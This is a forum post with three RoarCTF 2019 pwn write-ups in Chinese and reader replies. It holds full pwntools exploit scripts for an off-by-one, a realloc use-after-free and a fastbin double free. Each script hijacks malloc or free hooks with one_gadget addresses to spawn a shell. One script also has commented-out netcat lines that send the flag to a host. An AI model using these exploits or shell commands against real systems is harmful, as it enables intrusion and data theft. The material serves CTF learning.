首页
论坛
课程
招聘
[原创] RoarCTF Pwn部分赛题WriteUP
2019-10-18 15:52 6269

[原创] RoarCTF Pwn部分赛题WriteUP

2019-10-18 15:52
6269

0x01

easy_pwn

程序中故意写了个off-by-one。由于程序使用的是calloc需要注意一下申请是会清空chunk的内容。exp如下:

#coding:utf-8

from pwn import *
import argparse

glibc = 'raw'  # glibc_version
IP = '39.97.182.233' # wait input
PORT = '42253' # wait input
binary = './easy_pwn'
context.binary = binary # wait input
context.terminal = ['gnome-terminal','-x','sh','-c']
# context.terminal = ['tmux','split','-h']
elf = ELF(binary)

io = None
### parse args
parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

### easy program
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)

one_gg_223 = [0x3f3d6,0x3f42a,0xd5bf7]
one_gg_227 = [0x4f2c5,0x4f322,0x10a38c]

if args.remote:
    io = remote(IP, PORT)
    if glibc == '2.23':
        libc = ELF("/root/glibc_env/glibc-2.23-binary/libc.so")
    else:
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    if glibc == '2.23':
        io = process(["/root/glibc_env/glibc-2.23-binary/ld.so", binary ], env={"LD_PRELOAD":"/root/glibc_env/glibc-2.23-binary/libc.so"})
        libc_bb = io.libs()['/root/glibc_env/glibc-2.23-binary/libc.so']
        libc = ELF('/root/glibc_env/glibc-2.23-binary/libc.so')
    else:
        io = process(binary,  env = env)
        libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
else:
    parser.print_help()
    exit()

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

def debug(bdmsg = ''):
    # bdmsg += 'directory /root/glibc_env/glibc-2.23-source/malloc'
    gdb.attach(io,bdmsg)

def magic(offset):
    global __malloc_hook,system,libc_base,__free_hook
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    libc_base = leak - offset
    lg('libc_base',libc_base)
    __free_hook = libc_base + libc.symbols['__free_hook']
    __malloc_hook = libc_base + libc.symbols['__malloc_hook']
    lg('__malloc_hook',__malloc_hook)
    system = libc_base + libc.symbols['system']

def add(sz):
    sla(":","1")
    sla(":",str(sz))

def edit(idx,sz,con):
    sla(":","2")
    sla(":",str(idx))
    sla(":",str(sz))
    sa(":",con)

def free(idx):
    sla(":","3")
    sla(":",str(idx))

def show(idx):
    sla(":","4")
    sla(":",str(idx))


def exploit():
    add(0x88)
    add(0x40)
    add(0x40)
    add(0x30)

    edit(0,0x88 + 0xa,'a' * 0x88 + chr(0xa1))
    free(1)
    add(0x40)
    show(2)
    magic(0x3c4b78)
    add(0x40)

    add(0x38) # 5
    add(0x38) # 6
    add(0x68) # 7
    add(0x38) # 8
    free(7)
    edit(5,0x38 + 0xa,'a' * 0x38 + chr(0xb1))
    free(6)
    add(0xa1) # 6
    edit(6,0x48,'a' * 0x30 + p64(0x0) + p64(0x71) + p64(__malloc_hook - 0x23))
    add(0x60)    
    add(0x60) # 9
    realloc_hook = libc_base + libc.symbols['realloc']
    lg('onegg',one_gg_223[1] + libc_base)
    edit(9,0x18 + 3 , '\x00' * (0x3 + 0x8) + p64(0x4526a + libc_base) + p64(realloc_hook + 0x0))
    # edit(5, 0x18+3, 'aaa'+p64(0)+p64(libc_base+0xf1147)+p64(realloc+4))
    sl("1")
    sleep(0.3)
    sl("123")


    io.interactive()
if __name__ == "__main__":
    exploit()#
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

realloc_magic

该题考点是realloc的特性,分配0 size的时候会返回0x0。存在uaf。参考这篇文章。exp如下。

#coding:utf-8

from pwn import *
import argparse

# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'

IP = '39.97.182.233'
PORT = '38664'
binary = './realloc'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x,timeout = 0.2)

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    # libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

libc_base,__malloc_hook,system = None,None,None

def magic(offset):
    global libc_base,__malloc_hook,system,__free_hook
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    libc_base = leak - offset
    lg('base',libc_base)
    __malloc_hook = libc_base + libc.symbols['__malloc_hook']
    __free_hook = libc_base + libc.symbols['__free_hook']
    system = libc_base + libc.symbols['system']


def debug(msg=""):
    pwnlib.gdb.attach(io,msg)

def add(sz,con):
    sla(">>","1")
    io.sendlineafter("Size?",str(sz))
    sa("?",con)

def free():
    sla(">>","2")

def magic_():
    sla(">>","666")

def exploit():
    # add(0x80,'a')
    # free()
    # free()
    # add(0x80,p64(0xdeadbeef))
    # magic_()
    # add(0x80,'a')
    # magic_()
    # add(0x80,'123')


    # add(0x90,p64(0xdeadbeef))
    # add(0x0,'')
    # add(0x80,'')


    add(0x70,'a')
    add(0x0,'')
    add(0x100,'a')
    add(0x0,'')
    add(0xe0,'a')
    add(0x0,'')
    add(0x100,'a')

    [free() for i in range(7)]
    add(0x0,'')
    add(0x70,'a')

    # debug()
    add(0x180,chr(0) * 0x78 + p64(0x41) + '\x60\x57')
    # debug()

    add(0x0,'')

    add(0x100,'a')
    add(0x0,'')

    add(0x100,p64(0xfbad1887) + p64(0) *3 + "\x00") # leak
    magic(0x3ed8b0)
    magic_()

    add(0x70,'a')
    add(0x0,'')
    add(0x110,'a')
    add(0x0,'')
    add(0xf0,'a')
    add(0x0,'')
    add(0x110,'a')

    [free() for i in range(7)]
    add(0x0,'')
    add(0x70,'a')

    # debug()
    add(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc_base + 0x3ed8e8))


    add(0x0,'')

    add(0x110,'a')
    add(0x0,'')
    lg('__free_hook',__free_hook)

    one_gg = libc_base + 0x4f322
    add(0x110,p64(one_gg)) # leak
    sl("2")

    success(" get shell ")
    # debug()





    # add(0x180,chr(0) * 0x78 + p64(0x111) + p64(__free_hook))
    # add(0x0,'')
    # add(0x30,'a')
    # add(0x0,'')

    # one_gg = libc_base + 0x4f322
    # add(0x30,p64(one_gg))


    io.interactive()


if __name__ == "__main__":
    while(True):
        io = remote(IP, PORT)
        try:
            exploit()
            io.close()
        except Exception as e:
            continue
"""
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

easyheap

程序中存在uaf漏洞,不过只有一个用来存在ptr。然后发现有个build_free,build申请0xa0的size。free也存在uaf。这样其实就想到fastbin double free。先申请一个0xa0大小的chunk。释放会进入unsorted bin。然后用外面的申请两个0x68,两个存放ptr的都指向了0x68的size大小的chunk。然后申请到bss段。用name伪造size。exp如下:

#coding:utf-8
#coding:utf-8

from pwn import *
import argparse

# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'

IP = 'localhost'
PORT = '2333'
binary = './pwn'

context.binary = './pwn'
io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)  
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF(binary)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    parser.print_help()
    exit()

def debug(msg=""):
    pwnlib.gdb.attach(io,msg)
    raw_input()


def add(sz,con):
    sla(">>","1")
    sla("size",str(sz))
    sa("content",con)

def free():
    sla(">>","2")

def build(con):
    sla(">>","666")
    sla("?","1")
    sa("content",con)

def _free():
    sla(">>","666")
    sla("?","2")

def debug(msg=''):
    gdb.attach(io,msg)

def exploit():
    sla("name",flat(0x0,0x71,0x602060))  # fake size
    sla("info",flat(0x0,0x21))

    build("aaa")
    add(0x18,'bbb')
    _free()

    add(0x68,'ccc')
    add(0x68,'ccc')
    free()
    _free()
    free()

    add(0x68,p64(0x602060))
    add(0x68,'ddd')
    add(0x68,'eee')
    add(0x60,p64(0x602060) + 'a' * 0x10 + p64(elf.got['__libc_start_main']) + p64(0xDEADBEEFDEADBEEF))


    io.sendlineafter(">>","3") # show
    main = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    base = main - libc.symbols['__libc_start_main']
    lg('base',base)
    __malloc_hook = base + libc.symbols['__malloc_hook']

    io.sendline("1")
    time.sleep(0.3)
    io.sendline(str(0x68))
    time.sleep(0.3)
    io.sendline(p64(__malloc_hook - 0x23))

    io.sendline("1")
    time.sleep(0.3)
    io.sendline(str(0x68))
    time.sleep(0.3)
    io.sendline('junk')
    time.sleep(0.3)

    io.sendline("1")
    time.sleep(0.3)
    io.sendline(str(0x68))
    time.sleep(0.3)
    onegg = base + 0xf1147
    io.sendline('a' * 11 + p64(onegg) + p64(base + libc.symbols['realloc'] + 20))

    sleep(0.3)
    io.sendline("1")
    sleep(0.3)
    io.sendline("123")
    sleep(0.3)

    # io.send("cat flag | nc localhost 2333")
    # io.send("nc -e localhost 2333")
    # io.send("sh flag;")
    # io.send("cat flag >&0")
    # io.send("exec 1>&0; cat flag")
    # http://m4x.fun/post/play-with-file-descriptor-3/

    # debug("b *__realloc_hook")
    io.interactive()

if __name__ == "__main__":
    exploit()
"""
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!

收藏
点赞1
打赏
分享
最新回复 (10)
雪    币: 276
活跃值: 活跃值 (1754)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 活跃值 8 2019-10-18 16:40
2
0
将附件也一并提交下,方便学习!
雪    币: 13436
活跃值: 活跃值 (4648)
能力值: ( LV12,RANK:550 )
在线值:
发帖
回帖
粉丝
有毒 活跃值 9 2019-10-19 12:21
3
0
有没有详细一点的分析啊,思路什么的
雪    币: 247
活跃值: 活跃值 (44)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Freway 活跃值 2019-10-19 12:27
4
0
我想问一下为什么这里不是直接用onegadget的地址覆盖malloc_hook,反而要覆盖malloc_hook为realloc的地址,用onegadget覆盖realloc_hook呢?
雪    币: 182
活跃值: 活跃值 (61)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
1wc 活跃值 2019-10-19 13:31
5
0
Freway 我想问一下为什么这里不是直接用onegadget的地址覆盖malloc_hook,反而要覆盖malloc_hook为realloc的地址,用onegadget覆盖realloc_hook呢?
一般来说,是因为直接覆盖malloc_hook为onegadget的几个地址均不符合约束,因为onegadget是通过符号执行找到的,需要堆栈上相应偏移处满足相应的约束。
雪    币: 247
活跃值: 活跃值 (44)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Freway 活跃值 2019-10-19 14:05
6
0
1wc 一般来说,是因为直接覆盖malloc_hook为onegadget的几个地址均不符合约束,因为onegadget是通过符号执行找到的,需要堆栈上相应偏移处满足相应的约束。
那么为什么在realloc转一圈就可以了。。我gdb跟了一下好像跳到realloc也没干啥。。
雪    币: 2048
活跃值: 活跃值 (59)
能力值: ( LV3,RANK:31 )
在线值:
发帖
回帖
粉丝
Littlebirds 活跃值 2019-10-21 10:27
7
0
百度搜索,自动回到看雪
雪    币: 53
活跃值: 活跃值 (118)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wooyunking 活跃值 2019-10-21 14:44
8
0
没有附件或者源码也行,分析也没有
雪    币: 182
活跃值: 活跃值 (61)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
1wc 活跃值 2019-10-21 15:32
9
0
Freway 那么为什么在realloc转一圈就可以了。。我gdb跟了一下好像跳到realloc也没干啥。。
首先,realloc_hook和malloc_hook在libc上紧挨在一起,方便覆盖;其次,用gdb看一下realloc代码,
gef➤  x/32gi 0x00007f8a83cf7000 + 0x846c0
   0x7f8a83d7b6c0 <__GI___libc_realloc>:        push   r15
   0x7f8a83d7b6c2 <__GI___libc_realloc+2>:        push   r14
   0x7f8a83d7b6c4 <__GI___libc_realloc+4>:        push   r13
   0x7f8a83d7b6c6 <__GI___libc_realloc+6>:        push   r12
   0x7f8a83d7b6c8 <__GI___libc_realloc+8>:        mov    r13,rsi
   0x7f8a83d7b6cb <__GI___libc_realloc+11>:        push   rbp
   0x7f8a83d7b6cc <__GI___libc_realloc+12>:        push   rbx
   0x7f8a83d7b6cd <__GI___libc_realloc+13>:        mov    rbx,rdi
   0x7f8a83d7b6d0 <__GI___libc_realloc+16>:        sub    rsp,0x38
   0x7f8a83d7b6d4 <__GI___libc_realloc+20>:        mov    rax,QWORD PTR [rip+0x33f8f5]        # 0x7f8a840bafd0

realloc函数开始有一系列的堆栈操作,包括push和+20处的sub rsp, 0x38, 所以劫持到realloc或者realloc+2/4/6/8/12/20等等开始执行可以控制堆栈的抬高与降低,使得最终执行one_shot时符合栈上[rsp+xxx]=NULL的约束。
雪    币: 247
活跃值: 活跃值 (44)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Freway 活跃值 2019-10-31 09:47
10
0
1wc 首先,realloc_hook和malloc_hook在libc上紧挨在一起,方便覆盖;其次,用gdb看一下realloc代码, gef➤ x/32gi 0x00007f8a83cf7000 + ...
懂了,我原来还是用的劫持到freehook的方法,没想到还有这种操作,谢谢
雪    币: 182
活跃值: 活跃值 (61)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
1wc 活跃值 2019-10-31 15:49
11
0
Freway 懂了,我原来还是用的劫持到freehook的方法,没想到还有这种操作,谢谢
不客气哈
游客
登录 | 注册 方可回帖
返回